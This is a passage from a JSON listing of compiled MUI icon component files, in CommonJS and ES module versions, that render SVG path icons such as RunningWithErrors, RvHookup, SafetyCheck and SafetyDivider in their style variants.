'RunCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrors.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrors');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrors.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrors');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 18c-.55 0-1-.45-1-1v-6c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1m0 2c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 18c-.55 0-1-.45-1-1v-6c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1m0 2c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RunningWithErrorsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10v8h-2v-8zm-2 10v2h2v-2zm-2-2.71C16.53 18.95 14.39 20 12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8v9l7.55-7.55C17.72 3.34 15.02 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10c2.25 0 4.33-.74 6-2z\"\n}), 'RunningWithErrorsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookup.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}), 'RvHookup');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookup.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}), 'RvHookup');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}), 'RvHookupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}), 'RvHookupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 17h-1v-6c0-1.1-.9-2-2-2H7v-.74c0-.46-.56-.7-.89-.37L4.37 9.63c-.2.2-.2.53 0 .74l1.74 1.74c.33.33.89.1.89-.37V11h4v3H5c-.55 0-1 .45-1 1v2c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h7c.55 0 1-.45 1-1s-.45-1-1-1m-10 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h3c.55 0 1 .45 1 1zm-8-8h7v.74c0 .46.56.7.89.37l1.74-1.74c.2-.2.2-.53 0-.74l-1.74-1.74c-.33-.33-.89-.1-.89.37V4h-7c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'RvHookupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 17h-1v-6c0-1.1-.9-2-2-2H7v-.74c0-.46-.56-.7-.89-.37L4.37 9.63c-.2.2-.2.53 0 .74l1.74 1.74c.33.33.89.1.89-.37V11h4v3H5c-.55 0-1 .45-1 1v2c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h7c.55 0 1-.45 1-1s-.45-1-1-1m-10 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h3c.55 0 1 .45 1 1zm-8-8h7v.74c0 .46.56.7.89.37l1.74-1.74c.2-.2.2-.53 0-.74l-1.74-1.74c-.33-.33-.89-.1-.89.37V4h-7c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'RvHookupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17V9H7V7l-3 3 3 3v-2h4v3H4v5h4c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}), 'RvHookupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17V9H7V7l-3 3 3 3v-2h4v3H4v5h4c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}), 'RvHookupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}, \"1\")], 'RvHookupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RvHookupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17v-6c0-1.1-.9-2-2-2H7V7l-3 3 3 3v-2h4v3H4v3c0 1.1.9 2 2 2h2c0 1.66 1.34 3 3 3s3-1.34 3-3h8v-2zm-9 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m7-6h-4v-3h4zM17 2v2H9v2h8v2l3-3z\"\n}, \"1\")], 'RvHookupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheck.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm0 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m1.65-2.65L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}), 'SafetyCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheck.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm0 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m1.65-2.65L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}), 'SafetyCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}), 'SafetyCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}), 'SafetyCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 4.3-1.38 7.43-5.91 7.43-10.75v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m2-3c-.2.2-.51.2-.71 0l-1.65-1.65c-.09-.09-.15-.22-.15-.35V9.5c.01-.28.23-.5.51-.5s.5.22.5.5v2.29l1.5 1.5c.2.2.2.51 0 .71\"\n}), 'SafetyCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 4.3-1.38 7.43-5.91 7.43-10.75v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m2-3c-.2.2-.51.2-.71 0l-1.65-1.65c-.09-.09-.15-.22-.15-.35V9.5c.01-.28.23-.5.51-.5s.5.22.5.5v2.29l1.5 1.5c.2.2.2.51 0 .71\"\n}), 'SafetyCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm0 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m1.65-2.65L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}), 'SafetyCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm0 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m1.65-2.65L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}), 'SafetyCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.14 6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m1.65-2.65L11.5 12.2V9h1v2.79l1.85 1.85z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}, \"1\")], 'SafetyCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyCheckTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.14 6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m1.65-2.65L11.5 12.2V9h1v2.79l1.85 1.85z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L11.5 12.2V9h1v2.79l1.85 1.85z\"\n}, \"1\")], 'SafetyCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDivider.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDivider');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDivider.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDivider');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerOutlined.js",
